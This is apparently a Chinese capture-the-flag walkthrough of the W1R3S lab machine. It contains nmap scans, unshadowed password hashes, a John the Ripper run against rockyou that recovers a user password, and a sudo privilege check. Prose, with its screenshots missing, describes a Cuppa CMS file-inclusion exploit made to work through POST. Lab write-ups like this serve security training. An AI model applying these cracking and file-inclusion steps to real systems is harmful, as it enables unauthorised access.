┌──(kali㉿kali)-[/1-20/w1r3s.v1.0] [0/13] └─$ sudo nmap -sT -sV -sC -O -p21,22,80,3306 192.168.59.132 -oA nmapscan/tcpdetails [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 21:48 EDT Nmap scan report for 192.168.59.132 Host is up (0.00076s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later | ftp-anon: Anonymous FTP login allowed (FTP code 230) | drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content | drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs |_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.59.131 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA) | 256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA) |_ 256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 3306/tcp open mysql MySQL (unauthorized) MAC Address: 00:0C:29:72:B0:05 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (94%), Linux 4.10 (93%), Linux 3.4 - 3.10 (93%), Linux 3.13 - 3.16 (92%), Linux 4.4 (92%), Synology D iskStation Manager 5.2-5644 (92%), Linux 3.10 (92%), Linux 3.16 - 4.6 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.69 seconds
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0] └─$ sudo nmap --script=vuln -p 21,22,80,3306 192.168.59.132 -oA nmapscan/tcpvuln [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 21:51 EDT Stats: 0:01:52 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.21% done; ETC: 21:52 (0:00:01 remaining) Nmap scan report for 192.168.59.132 Host is up (0.00060s latency).
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 | http-enum: |_ /wordpress/wp-login.php: Wordpress login page. 3306/tcp open mysql MAC Address: 00:0C:29:72:B0:05 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 323.71 seconds
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0] └─$ unshadow passwd.txt shadow.txt > unshadowed.txt Created directory: /home/kali/.john ┌──(kali㉿kali)-[/1-20/w1r3s.v1.0] └─$ cat unshadowed.txt| tail -n 3 root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:0:0:root:/root:/bin/bash www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:33:33:www-data:/var/www:/usr/sbin/nologin w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash ┌──(kali㉿kali)-[/1-20/w1r3s.v1.0] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt Warning: detected hashtype"sha512crypt", but the string is also recognized as "HMAC-SHA256" Use the "--format=HMAC-SHA256" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status computer (w1r3s)
w1r3s@W1R3S:~$ id uid=1000(w1r3s) gid=1000(w1r3s) groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) w1r3s@W1R3S:~$ sudo -l sudo: unable to resolve host W1R3S [sudo] password for w1r3s: Sorry, try again. [sudo] password for w1r3s: Matching Defaults entries for w1r3s on W1R3S: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User w1r3s may run the following commands on W1R3S: (ALL : ALL) ALL
价值不大
价值不大
这网站除了上下还可以左右翻转，最后得到的信息价值不大
想到nmap漏扫中扫到wordpress登录页面，尝试访问： 
碰到登录框，一般先尝试弱口令，无果后才尝试sql注入、xss等其余方式。
然而不管输入什么凭据/点击忘记密码等选项，观察跳转的页面url发现被重定向到localhost：
F12查看源代码，暴露出疑似wordpress的版本号以及部分目录结构信息(发现是wordpress默认的)：
然后就暂时没有什么有价值的信息了，接着尝试目录爆破试图发现更多潜在路径
是个安装页面，点击下一步后来到了数据库安装配置页面，并且标题暴露了cms：
接下来就要谨慎，如果这一操作会影响实际业务运行，就不能再往下了，并且我们还不知道数据库root账户，显然即使配置完也是无法正常进行。另外尝试填写完信息后返回了“管理员创建失败”。
至此，现在剩余的有价值信息就是暴露的
将对应的exp
该exp表明可以利用文件包含漏洞读取系统敏感文件以及可以查看
可以，进一步尝试利用，根据示例的两行payload不断更换遍历结构尝试后皆无果。还注意到exp后半部分有个类似于上传路径的结构，尝试访问下
其中有个文件存在管理员的凭据信息，保存好：
至此，没有其他有价值信息。想到前面exp的利用并没有说基于cuppa的哪个版本利用成功的，可能目标与exp中cms的版本不同，因此可能可利用参数不同，可能文件名、参数提交方式也不同，由于查看源码等方式都没有暴露出当前cuppa的版本，因此再尝试去寻找cuppa的源码，找到与exp提到的存在漏洞路径，进行比较和再利用
显然第二个include更贴近于exp中的，对比发现，两者可控参数是一样的，但是提交方式不同，说明原来在exp中尝试的get方式提交是行不通的，因此要尝试用post方式提交：
利用成功，并且我们还注意到有个
